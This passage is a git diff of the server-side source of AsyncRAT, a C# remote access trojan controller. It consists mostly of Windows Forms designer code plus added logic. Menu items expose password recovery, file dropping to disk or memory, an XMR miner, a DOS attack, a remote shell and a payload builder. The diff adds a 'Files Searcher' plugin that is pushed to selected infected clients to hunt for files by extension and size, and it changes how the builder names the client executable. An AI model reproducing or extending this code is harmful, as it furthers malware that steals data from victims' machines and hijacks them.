this.toolStripStatusLabel2}); - this.statusStrip1.Location = new System.Drawing.Point(0, 479); - this.statusStrip1.Name = "statusStrip1"; - this.statusStrip1.Size = new System.Drawing.Size(1301, 32); - this.statusStrip1.TabIndex = 1; - this.statusStrip1.Text = "statusStrip1"; - // - // toolStripStatusLabel1 - // - this.toolStripStatusLabel1.Name = "toolStripStatusLabel1"; - this.toolStripStatusLabel1.Size = new System.Drawing.Size(24, 25); - this.toolStripStatusLabel1.Text = "..."; - // - // toolStripStatusLabel2 - // - this.toolStripStatusLabel2.Name = "toolStripStatusLabel2"; - this.toolStripStatusLabel2.Size = new System.Drawing.Size(204, 25); - this.toolStripStatusLabel2.Text = " Notification"; - this.toolStripStatusLabel2.Click += new System.EventHandler(this.ToolStripStatusLabel2_Click); - // - // ping - // - this.ping.Enabled = true; - this.ping.Interval = 30000; - this.ping.Tick += new System.EventHandler(this.ping_Tick); - // - // UpdateUI - // - this.UpdateUI.Enabled = true; - this.UpdateUI.Interval = 500; - this.UpdateUI.Tick += new System.EventHandler(this.UpdateUI_Tick); - // - // tabControl1 - // - this.tabControl1.Controls.Add(this.tabPage1); - this.tabControl1.Controls.Add(this.tabPage2); - this.tabControl1.Controls.Add(this.tabPage3); - this.tabControl1.Controls.Add(this.tabPage4); - this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tabControl1.Location = new System.Drawing.Point(0, 0); - this.tabControl1.Name = "tabControl1"; - this.tabControl1.SelectedIndex = 0; - this.tabControl1.Size = new System.Drawing.Size(1301, 479); - this.tabControl1.SizeMode = System.Windows.Forms.TabSizeMode.Fixed; - this.tabControl1.TabIndex = 2; - // - // tabPage1 - // - this.tabPage1.Controls.Add(this.listView1); - this.tabPage1.Location = new System.Drawing.Point(4, 29); - this.tabPage1.Name = "tabPage1"; - this.tabPage1.Padding = new System.Windows.Forms.Padding(3); - this.tabPage1.Size = new System.Drawing.Size(1293, 446); - this.tabPage1.TabIndex = 0; - this.tabPage1.Text = "Clients"; - // - // tabPage2 - // - this.tabPage2.Controls.Add(this.listView2); - this.tabPage2.Location = new System.Drawing.Point(4, 29); - this.tabPage2.Name = "tabPage2"; - this.tabPage2.Padding = new System.Windows.Forms.Padding(3); - this.tabPage2.Size = new System.Drawing.Size(1293, 446); - this.tabPage2.TabIndex = 1; - this.tabPage2.Text = "Logs"; - this.tabPage2.UseVisualStyleBackColor = true; - // - // listView2 - // - this.listView2.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.listView2.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { - this.columnHeader1, - this.columnHeader2}); - this.listView2.ContextMenuStrip = this.contextMenuLogs; - this.listView2.Dock = System.Windows.Forms.DockStyle.Fill; - this.listView2.FullRowSelect = true; - this.listView2.GridLines = true; - this.listView2.HideSelection = false; - this.listView2.Location = new System.Drawing.Point(3, 3); - this.listView2.Name = "listView2"; - this.listView2.ShowGroups = false; - this.listView2.ShowItemToolTips = true; - this.listView2.Size = new System.Drawing.Size(1287, 440); - this.listView2.TabIndex = 1; - this.listView2.UseCompatibleStateImageBehavior = false; - this.listView2.View = System.Windows.Forms.View.Details; - // - // columnHeader1 - // - this.columnHeader1.Text = "Time"; - this.columnHeader1.Width = 150; - // - // columnHeader2 - // - this.columnHeader2.Text = "Message"; - this.columnHeader2.Width = 705; - // - // contextMenuLogs - // - this.contextMenuLogs.ImageScalingSize = new System.Drawing.Size(24, 24); - this.contextMenuLogs.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.cLEARToolStripMenuItem}); - this.contextMenuLogs.Name = "contextMenuLogs"; - this.contextMenuLogs.ShowImageMargin = false; - this.contextMenuLogs.Size = new System.Drawing.Size(111, 36); - // - // cLEARToolStripMenuItem - // - this.cLEARToolStripMenuItem.Name = "cLEARToolStripMenuItem"; - this.cLEARToolStripMenuItem.Size = new System.Drawing.Size(110, 32); - this.cLEARToolStripMenuItem.Text = "CLEAR"; - this.cLEARToolStripMenuItem.Click += new System.EventHandler(this.CLEARToolStripMenuItem_Click); - // - // tabPage3 - // - this.tabPage3.Controls.Add(this.listView3); - this.tabPage3.Location = new System.Drawing.Point(4, 29); - this.tabPage3.Name = "tabPage3"; - this.tabPage3.Size = new System.Drawing.Size(1293, 446); - this.tabPage3.TabIndex = 2; - this.tabPage3.Text = "Thumbnail"; - this.tabPage3.UseVisualStyleBackColor = true; - // - // listView3 - // - this.listView3.ContextMenuStrip = this.contextMenuThumbnail; - this.listView3.Dock = System.Windows.Forms.DockStyle.Fill; - this.listView3.HideSelection = false; - this.listView3.LargeImageList = this.ThumbnailImageList; - this.listView3.Location = new System.Drawing.Point(0, 0); - this.listView3.Name = "listView3"; - this.listView3.ShowItemToolTips = true; - this.listView3.Size = new System.Drawing.Size(1293, 446); - this.listView3.SmallImageList = this.ThumbnailImageList; - this.listView3.TabIndex = 0; - this.listView3.UseCompatibleStateImageBehavior = false; - // - // contextMenuThumbnail - // - this.contextMenuThumbnail.ImageScalingSize = new System.Drawing.Size(24, 24); - this.contextMenuThumbnail.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.sTARTToolStripMenuItem, - this.sTOPToolStripMenuItem}); - this.contextMenuThumbnail.Name = "contextMenuStrip2"; - this.contextMenuThumbnail.Size = new System.Drawing.Size(144, 68); - // - // ThumbnailImageList - // - this.ThumbnailImageList.ColorDepth = System.Windows.Forms.ColorDepth.Depth16Bit; - this.ThumbnailImageList.ImageSize = new System.Drawing.Size(256, 256); - this.ThumbnailImageList.TransparentColor = System.Drawing.Color.Transparent; - // - // tabPage4 - // - this.tabPage4.Controls.Add(this.listView4); - this.tabPage4.Location = new System.Drawing.Point(4, 29); - this.tabPage4.Name = "tabPage4"; - this.tabPage4.Padding = new System.Windows.Forms.Padding(3); - this.tabPage4.Size = new System.Drawing.Size(1293, 446); - this.tabPage4.TabIndex = 3; - this.tabPage4.Text = "Tasks"; - this.tabPage4.UseVisualStyleBackColor = true; - // - // listView4 - // - this.listView4.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.listView4.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { - this.columnHeader4, - this.columnHeader5}); - this.listView4.ContextMenuStrip = this.contextMenuTasks; - this.listView4.Dock = System.Windows.Forms.DockStyle.Fill; - this.listView4.FullRowSelect = true; - this.listView4.HideSelection = false; - this.listView4.Location = new System.Drawing.Point(3, 3); - this.listView4.Name = "listView4"; - this.listView4.Size = new System.Drawing.Size(1287, 440); - this.listView4.TabIndex = 0; - this.listView4.UseCompatibleStateImageBehavior = false; - this.listView4.View = System.Windows.Forms.View.Details; - // - // columnHeader4 - // - this.columnHeader4.Text = "Task"; - this.columnHeader4.Width = 97; - // - // columnHeader5 - // - this.columnHeader5.Text = "Execution"; - this.columnHeader5.Width = 116; - // - // contextMenuTasks - // - this.contextMenuTasks.ImageScalingSize = new System.Drawing.Size(24, 24); - this.contextMenuTasks.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.pASSWORDRECOVERYToolStripMenuItem, - this.downloadAndExecuteToolStripMenuItem, - this.sENDFILETOMEMORYToolStripMenuItem1, - this.minerToolStripMenuItem1, - this.uPDATEToolStripMenuItem1, - this.toolStripSeparator4, - this.dELETETASKToolStripMenuItem}); - this.contextMenuTasks.Name = "contextMenuStrip4"; - this.contextMenuTasks.ShowImageMargin = false; - this.contextMenuTasks.Size = new System.Drawing.Size(250, 202); - // - // pASSWORDRECOVERYToolStripMenuItem - // - this.pASSWORDRECOVERYToolStripMenuItem.Name = "pASSWORDRECOVERYToolStripMenuItem"; - this.pASSWORDRECOVERYToolStripMenuItem.Size = new System.Drawing.Size(249, 32); - this.pASSWORDRECOVERYToolStripMenuItem.Text = "PASSWORD RECOVERY"; - this.pASSWORDRECOVERYToolStripMenuItem.Click += new System.EventHandler(this.PASSWORDRECOVERYToolStripMenuItem_Click); - // - // downloadAndExecuteToolStripMenuItem - // - this.downloadAndExecuteToolStripMenuItem.Name = "downloadAndExecuteToolStripMenuItem"; - this.downloadAndExecuteToolStripMenuItem.Size = new System.Drawing.Size(249, 32); - this.downloadAndExecuteToolStripMenuItem.Text = "SEND FILE TO DISK"; - this.downloadAndExecuteToolStripMenuItem.Click += new System.EventHandler(this.DownloadAndExecuteToolStripMenuItem_Click); - // - // sENDFILETOMEMORYToolStripMenuItem1 - // - this.sENDFILETOMEMORYToolStripMenuItem1.Name = "sENDFILETOMEMORYToolStripMenuItem1"; - this.sENDFILETOMEMORYToolStripMenuItem1.Size = new System.Drawing.Size(249, 32); - this.sENDFILETOMEMORYToolStripMenuItem1.Text = "SEND FILE TO MEMORY"; - this.sENDFILETOMEMORYToolStripMenuItem1.Click += new System.EventHandler(this.SENDFILETOMEMORYToolStripMenuItem1_Click); - // - // minerToolStripMenuItem1 - // - this.minerToolStripMenuItem1.Name = "minerToolStripMenuItem1"; - this.minerToolStripMenuItem1.Size = new System.Drawing.Size(249, 32); - this.minerToolStripMenuItem1.Text = "XMR MINER"; - this.minerToolStripMenuItem1.Visible = false; - this.minerToolStripMenuItem1.Click += new System.EventHandler(this.MinerToolStripMenuItem1_Click); - // - // uPDATEToolStripMenuItem1 - // - this.uPDATEToolStripMenuItem1.Name = "uPDATEToolStripMenuItem1"; - this.uPDATEToolStripMenuItem1.Size = new System.Drawing.Size(249, 32); - this.uPDATEToolStripMenuItem1.Text = "UPDATE ALL CLIENTS"; - this.uPDATEToolStripMenuItem1.Click += new System.EventHandler(this.UPDATEToolStripMenuItem1_Click); - // - // toolStripSeparator4 - // - this.toolStripSeparator4.Name = "toolStripSeparator4"; - this.toolStripSeparator4.Size = new System.Drawing.Size(246, 6); - // - // dELETETASKToolStripMenuItem - // - this.dELETETASKToolStripMenuItem.Name = "dELETETASKToolStripMenuItem"; - this.dELETETASKToolStripMenuItem.Size = new System.Drawing.Size(249, 32); - this.dELETETASKToolStripMenuItem.Text = "DELETE TASK"; - this.dELETETASKToolStripMenuItem.Click += new System.EventHandler(this.DELETETASKToolStripMenuItem_Click); - // - // performanceCounter1 - // - this.performanceCounter1.CategoryName = "Processor"; - this.performanceCounter1.CounterName = "% Processor Time"; - this.performanceCounter1.InstanceName = "_Total"; - // - // performanceCounter2 - // - this.performanceCounter2.CategoryName = "Memory"; - this.performanceCounter2.CounterName = "% Committed Bytes In Use"; - // - // notifyIcon1 - // - this.notifyIcon1.Icon = ((System.Drawing.Icon)(resources.GetObject("notifyIcon1.Icon"))); - this.notifyIcon1.Text = "AsyncRAT"; - this.notifyIcon1.Visible = true; - // - // TimerTask - // - this.TimerTask.Enabled = true; - this.TimerTask.Interval = 5000; - this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick); - // // aBOUTToolStripMenuItem // this.aBOUTToolStripMenuItem.Image = global::Server.Properties.Resources.info; @@ -552,6 +257,11 @@ this.aBOUTToolStripMenuItem.Text = "ABOUT"; this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click); // + // toolStripSeparator2 + // + this.toolStripSeparator2.Name = "toolStripSeparator2"; + this.toolStripSeparator2.Size = new System.Drawing.Size(199, 6); + // // sENDFILEToolStripMenuItem // this.sENDFILEToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { @@ -674,7 +384,8 @@ this.remoteShellToolStripMenuItem1, this.dOSAttackToolStripMenuItem, this.executeNETCodeToolStripMenuItem, - this.xMRMinerToolStripMenuItem}); + this.xMRMinerToolStripMenuItem, + this.filesSearcherToolStripMenuItem}); this.miscellaneousToolStripMenuItem.Image = global::Server.Properties.Resources.Miscellaneous; this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem"; this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(202, 32); @@ -755,6 +466,14 @@ this.killToolStripMenuItem.Text = "Stop"; this.killToolStripMenuItem.Click += new System.EventHandler(this.KillToolStripMenuItem_Click); // + // filesSearcherToolStripMenuItem + // + this.filesSearcherToolStripMenuItem.Image = global::Server.Properties.Resources.report; + this.filesSearcherToolStripMenuItem.Name = "filesSearcherToolStripMenuItem"; + this.filesSearcherToolStripMenuItem.Size = new System.Drawing.Size(260, 34); + this.filesSearcherToolStripMenuItem.Text = "Files Searcher"; + this.filesSearcherToolStripMenuItem.Click += new System.EventHandler(this.filesSearcherToolStripMenuItem_Click); + // // extraToolStripMenuItem // this.extraToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { @@ -940,6 +659,11 @@ this.shutdownToolStripMenuItem1.Text = "Shutdown"; this.shutdownToolStripMenuItem1.Click += new System.EventHandler(this.ShutdownToolStripMenuItem1_Click); // + // toolStripSeparator1 + // + this.toolStripSeparator1.Name = "toolStripSeparator1"; + this.toolStripSeparator1.Size = new System.Drawing.Size(199, 6); + // // serverToolStripMenuItem // this.serverToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { @@ -957,6 +681,11 @@ this.blockClientsToolStripMenuItem.Text = "Block Clients"; this.blockClientsToolStripMenuItem.Click += new System.EventHandler(this.BlockClientsToolStripMenuItem_Click); // + // toolStripSeparator5 + // + this.toolStripSeparator5.Name = "toolStripSeparator5"; + this.toolStripSeparator5.Size = new System.Drawing.Size(199, 6); + // // bUILDERToolStripMenuItem // this.bUILDERToolStripMenuItem.Image = global::Server.Properties.Resources.builder; @@ -965,6 +694,157 @@ this.bUILDERToolStripMenuItem.Text = "BUILDER"; this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click); // + // statusStrip1 + // + this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); + this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.toolStripStatusLabel2, + this.toolStripStatusLabel1}); + this.statusStrip1.Location = new System.Drawing.Point(0, 479); + this.statusStrip1.Name = "statusStrip1"; + this.statusStrip1.Size = new System.Drawing.Size(1301, 32); + this.statusStrip1.TabIndex = 1; + this.statusStrip1.Text = "statusStrip1"; + // + // toolStripStatusLabel2 + // + this.toolStripStatusLabel2.Name = "toolStripStatusLabel2"; + this.toolStripStatusLabel2.Size = new System.Drawing.Size(179, 25); + this.toolStripStatusLabel2.Text = "[Notification] "; + this.toolStripStatusLabel2.Click += new System.EventHandler(this.ToolStripStatusLabel2_Click); + // + // toolStripStatusLabel1 + // + this.toolStripStatusLabel1.Name = "toolStripStatusLabel1"; + this.toolStripStatusLabel1.Size = new System.Drawing.Size(24, 25); + this.toolStripStatusLabel1.Text = "..."; + // + // ping + // + this.ping.Enabled = true; + this.ping.Interval = 30000; + this.ping.Tick += new System.EventHandler(this.ping_Tick); + // + // UpdateUI + // + this.UpdateUI.Enabled = true; + this.UpdateUI.Interval = 500; + this.UpdateUI.Tick += new System.EventHandler(this.UpdateUI_Tick); + // + // tabControl1 + // + this.tabControl1.Controls.Add(this.tabPage1); + this.tabControl1.Controls.Add(this.tabPage2); + this.tabControl1.Controls.Add(this.tabPage3); + this.tabControl1.Controls.Add(this.tabPage4); + this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl1.Location = new System.Drawing.Point(0, 0); + this.tabControl1.Name = "tabControl1"; + this.tabControl1.SelectedIndex = 0; + this.tabControl1.Size = new System.Drawing.Size(1301, 479); + this.tabControl1.SizeMode = System.Windows.Forms.TabSizeMode.Fixed; + this.tabControl1.TabIndex = 2; + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.listView1); + this.tabPage1.Location = new System.Drawing.Point(4, 29); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(1293, 446); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = "Clients"; + // + // tabPage2 + // + this.tabPage2.Controls.Add(this.listView2); + this.tabPage2.Location = new System.Drawing.Point(4, 29); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Padding = new System.Windows.Forms.Padding(3); + this.tabPage2.Size = new System.Drawing.Size(1293, 446); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = "Logs"; + this.tabPage2.UseVisualStyleBackColor = true; + // + // listView2 + // + this.listView2.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.listView2.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.columnHeader1, + this.columnHeader2}); + this.listView2.ContextMenuStrip = this.contextMenuLogs; + this.listView2.Dock = System.Windows.Forms.DockStyle.Fill; + this.listView2.FullRowSelect = true; + this.listView2.GridLines = true; + this.listView2.HideSelection = false; + this.listView2.Location = new System.Drawing.Point(3, 3); + this.listView2.Name = "listView2"; + this.listView2.ShowGroups = false; + this.listView2.ShowItemToolTips = true; + this.listView2.Size = new System.Drawing.Size(1287, 440); + this.listView2.TabIndex = 1; + this.listView2.UseCompatibleStateImageBehavior = false; + this.listView2.View = System.Windows.Forms.View.Details; + // + // columnHeader1 + // + this.columnHeader1.Text = "Time"; + this.columnHeader1.Width = 150; + // + // columnHeader2 + // + this.columnHeader2.Text = "Message"; + this.columnHeader2.Width = 1078; + // + // contextMenuLogs + // + this.contextMenuLogs.ImageScalingSize = new System.Drawing.Size(24, 24); + this.contextMenuLogs.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.cLEARToolStripMenuItem}); + this.contextMenuLogs.Name = "contextMenuLogs"; + this.contextMenuLogs.ShowImageMargin = false; + this.contextMenuLogs.Size = new System.Drawing.Size(111, 36); + // + // cLEARToolStripMenuItem + // + this.cLEARToolStripMenuItem.Name = "cLEARToolStripMenuItem"; + this.cLEARToolStripMenuItem.Size = new System.Drawing.Size(110, 32); + this.cLEARToolStripMenuItem.Text = "CLEAR"; + this.cLEARToolStripMenuItem.Click += new System.EventHandler(this.CLEARToolStripMenuItem_Click); + // + // tabPage3 + // + this.tabPage3.Controls.Add(this.listView3); + this.tabPage3.Location = new System.Drawing.Point(4, 29); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(1293, 446); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = "Thumbnail"; + this.tabPage3.UseVisualStyleBackColor = true; + // + // listView3 + // + this.listView3.ContextMenuStrip = this.contextMenuThumbnail; + this.listView3.Dock = System.Windows.Forms.DockStyle.Fill; + this.listView3.HideSelection = false; + this.listView3.LargeImageList = this.ThumbnailImageList; + this.listView3.Location = new System.Drawing.Point(0, 0); + this.listView3.Name = "listView3"; + this.listView3.ShowItemToolTips = true; + this.listView3.Size = new System.Drawing.Size(1293, 446); + this.listView3.SmallImageList = this.ThumbnailImageList; + this.listView3.TabIndex = 0; + this.listView3.UseCompatibleStateImageBehavior = false; + // + // contextMenuThumbnail + // + this.contextMenuThumbnail.ImageScalingSize = new System.Drawing.Size(24, 24); + this.contextMenuThumbnail.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.sTARTToolStripMenuItem, + this.sTOPToolStripMenuItem}); + this.contextMenuThumbnail.Name = "contextMenuStrip2"; + this.contextMenuThumbnail.Size = new System.Drawing.Size(144, 68); + // // sTARTToolStripMenuItem // this.sTARTToolStripMenuItem.Image = global::Server.Properties.Resources.play_button; @@ -981,6 +861,136 @@ this.sTOPToolStripMenuItem.Text = "STOP"; this.sTOPToolStripMenuItem.Click += new System.EventHandler(this.STOPToolStripMenuItem_Click); // + // ThumbnailImageList + // + this.ThumbnailImageList.ColorDepth = System.Windows.Forms.ColorDepth.Depth16Bit; + this.ThumbnailImageList.ImageSize = new System.Drawing.Size(256, 256); + this.ThumbnailImageList.TransparentColor = System.Drawing.Color.Transparent; + // + // tabPage4 + // + this.tabPage4.Controls.Add(this.listView4); + this.tabPage4.Location = new System.Drawing.Point(4, 29); + this.tabPage4.Name = "tabPage4"; + this.tabPage4.Padding = new System.Windows.Forms.Padding(3); + this.tabPage4.Size = new System.Drawing.Size(1293, 446); + this.tabPage4.TabIndex = 3; + this.tabPage4.Text = "Tasks"; + this.tabPage4.UseVisualStyleBackColor = true; + // + // listView4 + // + this.listView4.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.listView4.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.columnHeader4, + this.columnHeader5}); + this.listView4.ContextMenuStrip = this.contextMenuTasks; + this.listView4.Dock = System.Windows.Forms.DockStyle.Fill; + this.listView4.FullRowSelect = true; + this.listView4.HideSelection = false; + this.listView4.Location = new System.Drawing.Point(3, 3); + this.listView4.Name = "listView4"; + this.listView4.Size = new System.Drawing.Size(1287, 440); + this.listView4.TabIndex = 0; + this.listView4.UseCompatibleStateImageBehavior = false; + this.listView4.View = System.Windows.Forms.View.Details; + // + // columnHeader4 + // + this.columnHeader4.Text = "Task"; + this.columnHeader4.Width = 97; + // + // columnHeader5 + // + this.columnHeader5.Text = "Execution"; + this.columnHeader5.Width = 116; + // + // contextMenuTasks + // + this.contextMenuTasks.ImageScalingSize = new System.Drawing.Size(24, 24); + this.contextMenuTasks.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.pASSWORDRECOVERYToolStripMenuItem, + this.downloadAndExecuteToolStripMenuItem, + this.sENDFILETOMEMORYToolStripMenuItem1, + this.minerToolStripMenuItem1, + this.uPDATEToolStripMenuItem1, + this.toolStripSeparator4, + this.dELETETASKToolStripMenuItem}); + this.contextMenuTasks.Name = "contextMenuStrip4"; + this.contextMenuTasks.ShowImageMargin = false; + this.contextMenuTasks.Size = new System.Drawing.Size(250, 202); + // + // pASSWORDRECOVERYToolStripMenuItem + // + this.pASSWORDRECOVERYToolStripMenuItem.Name = "pASSWORDRECOVERYToolStripMenuItem"; + this.pASSWORDRECOVERYToolStripMenuItem.Size = new System.Drawing.Size(249, 32); + this.pASSWORDRECOVERYToolStripMenuItem.Text = "PASSWORD RECOVERY"; + this.pASSWORDRECOVERYToolStripMenuItem.Click += new System.EventHandler(this.PASSWORDRECOVERYToolStripMenuItem_Click); + // + // downloadAndExecuteToolStripMenuItem + // + this.downloadAndExecuteToolStripMenuItem.Name = "downloadAndExecuteToolStripMenuItem"; + this.downloadAndExecuteToolStripMenuItem.Size = new System.Drawing.Size(249, 32); + this.downloadAndExecuteToolStripMenuItem.Text = "SEND FILE TO DISK"; + this.downloadAndExecuteToolStripMenuItem.Click += new System.EventHandler(this.DownloadAndExecuteToolStripMenuItem_Click); + // + // sENDFILETOMEMORYToolStripMenuItem1 + // + this.sENDFILETOMEMORYToolStripMenuItem1.Name = "sENDFILETOMEMORYToolStripMenuItem1"; + this.sENDFILETOMEMORYToolStripMenuItem1.Size = new System.Drawing.Size(249, 32); + this.sENDFILETOMEMORYToolStripMenuItem1.Text = "SEND FILE TO MEMORY"; + this.sENDFILETOMEMORYToolStripMenuItem1.Click += new System.EventHandler(this.SENDFILETOMEMORYToolStripMenuItem1_Click); + // + // minerToolStripMenuItem1 + // + this.minerToolStripMenuItem1.Name = "minerToolStripMenuItem1"; + this.minerToolStripMenuItem1.Size = new System.Drawing.Size(249, 32); + this.minerToolStripMenuItem1.Text = "XMR MINER"; + this.minerToolStripMenuItem1.Visible = false; + this.minerToolStripMenuItem1.Click += new System.EventHandler(this.MinerToolStripMenuItem1_Click); + // + // uPDATEToolStripMenuItem1 + // + this.uPDATEToolStripMenuItem1.Name = "uPDATEToolStripMenuItem1"; + this.uPDATEToolStripMenuItem1.Size = new System.Drawing.Size(249, 32); + this.uPDATEToolStripMenuItem1.Text = "UPDATE ALL CLIENTS"; + this.uPDATEToolStripMenuItem1.Click += new System.EventHandler(this.UPDATEToolStripMenuItem1_Click); + // + // toolStripSeparator4 + // + this.toolStripSeparator4.Name = "toolStripSeparator4"; + this.toolStripSeparator4.Size = new System.Drawing.Size(246, 6); + // + // dELETETASKToolStripMenuItem + // + this.dELETETASKToolStripMenuItem.Name = "dELETETASKToolStripMenuItem"; + this.dELETETASKToolStripMenuItem.Size = new System.Drawing.Size(249, 32); + this.dELETETASKToolStripMenuItem.Text = "DELETE TASK"; + this.dELETETASKToolStripMenuItem.Click += new System.EventHandler(this.DELETETASKToolStripMenuItem_Click); + // + // performanceCounter1 + // + this.performanceCounter1.CategoryName = "Processor"; + this.performanceCounter1.CounterName = "% Processor Time"; + this.performanceCounter1.InstanceName = "_Total"; + // + // performanceCounter2 + // + this.performanceCounter2.CategoryName = "Memory"; + this.performanceCounter2.CounterName = "% Committed Bytes In Use"; + // + // notifyIcon1 + // + this.notifyIcon1.Icon = ((System.Drawing.Icon)(resources.GetObject("notifyIcon1.Icon"))); + this.notifyIcon1.Text = "AsyncRAT"; + this.notifyIcon1.Visible = true; + // + // TimerTask + // + this.TimerTask.Enabled = true; + this.TimerTask.Interval = 5000; + this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick); + // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); @@ -1116,6 +1126,7 @@ private System.Windows.Forms.ToolStripMenuItem runToolStripMenuItem2; private System.Windows.Forms.ToolStripMenuItem stopToolStripMenuItem1; private System.Windows.Forms.ToolStripMenuItem setWallpaperToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem filesSearcherToolStripMenuItem; } } diff --git a/AsyncRAT-C#/Server/Forms/Form1.cs b/AsyncRAT-C#/Server/Forms/Form1.cs index 4988db6..48f1aa6 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.cs @@ -313,7 +313,7 @@ namespace Server MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendMemory.dll")); msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); foreach (Clients client in GetSelectedClients()) @@ -844,6 +844,35 @@ namespace Server } } + private void filesSearcherToolStripMenuItem_Click(object sender, EventArgs e) + { + using (FormFileSearcher form = new FormFileSearcher()) + { + + if (form.ShowDialog() == DialogResult.OK) + { + if (listView1.SelectedItems.Count > 0) + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "fileSearcher"; + packet.ForcePathObject("SizeLimit").AsInteger = (long)form.numericUpDown1.Value * 1000 * 1000; + packet.ForcePathObject("Extensions").AsString = form.txtExtnsions.Text; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\FileSearcher.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + client.LV.ForeColor = Color.Red; + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + } + } + } + #endregion #region Extra @@ -1321,7 +1350,7 @@ namespace Server private void bUILDERToolStripMenuItem_Click(object sender, EventArgs e) { #if DEBUG - MessageBox.Show("You can't build using a debug version.", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error); + MessageBox.Show("You can't build using a 'debug' version, Please use the 'release' version", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error); return; #endif using (FormBuilder formBuilder = new FormBuilder()) @@ -1425,7 +1454,8 @@ namespace Server { try { - if (getTasks.Count > 0 && GetAllClients().Length > 0) + Clients[] clients = GetAllClients(); + if (getTasks.Count > 0 && clients.Length > 0) foreach (AsyncTask asyncTask in getTasks.ToList()) { if (GetListview(asyncTask.id) == false) @@ -1435,7 +1465,7 @@ namespace Server return; } - foreach (Clients client in GetAllClients()) + foreach (Clients client in clients) { if (!asyncTask.doneClient.Contains(client.ID)) { @@ -1744,5 +1774,6 @@ namespace Server [DllImport("uxtheme", CharSet = CharSet.Unicode)] public static extern int SetWindowTheme(IntPtr hWnd, string textSubAppName, string textSubIdList); + } } diff --git a/AsyncRAT-C#/Server/Forms/FormBuilder.cs b/AsyncRAT-C#/Server/Forms/FormBuilder.cs index fb4d18c..f6d32c7 100644 --- a/AsyncRAT-C#/Server/Forms/FormBuilder.cs +++ b/AsyncRAT-C#/Server/Forms/FormBuilder.cs @@ -196,11 +196,11 @@ namespace Server.Forms saveFileDialog1.Filter = ".exe (*.exe)|*.exe"; saveFileDialog1.InitialDirectory = Application.StartupPath; saveFileDialog1.OverwritePrompt = false; - saveFileDialog1.FileName = "Client"; + saveFileDialog1.FileName = "AsyncClient"; if (saveFileDialog1.ShowDialog() == DialogResult.OK) { btnBuild.Enabled = false; - WriteSettings(asmDef); + WriteSettings(asmDef, saveFileDialog1.FileName); if (chkObfu.Checked) { //EncryptString.DoEncrypt(asmDef); @@ -348,7 +348,7 @@ namespace Server.Forms return ""; } - private void WriteSettings(ModuleDefMD asmDef) + private void WriteSettings(ModuleDefMD asmDef, string AsmName) { try { @@ -365,6 +365,8 @@ namespace Server.Forms foreach (TypeDef type in asmDef.Types) { + asmDef.Assembly.Name = Path.GetFileNameWithoutExtension(AsmName); + asmDef.Name = Path.GetFileName(AsmName); if (type.Name == "Settings") foreach (MethodDef method in type.Methods) { diff --git a/AsyncRAT-C#/Server/Forms/FormCertificate.cs b/AsyncRAT-C#/Server/Forms/FormCertificate.cs index 1a5b92c..b6feceb 100644 --- a/AsyncRAT-C#/Server/Forms/FormCertificate.cs +++ b/AsyncRAT-C#/Server/Forms/FormCertificate.cs @@ -56,8 +56,9 @@ namespace Server.Forms } Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { - MessageBox.Show(this, @"[!]If you wish to upgrade to new version of AsyncRAT, You will need to copy this certificate -[!]If you lose\delete this certificate you will NOT be able to control your clients, You will lose them all.", "Certificate", MessageBoxButtons.OK, 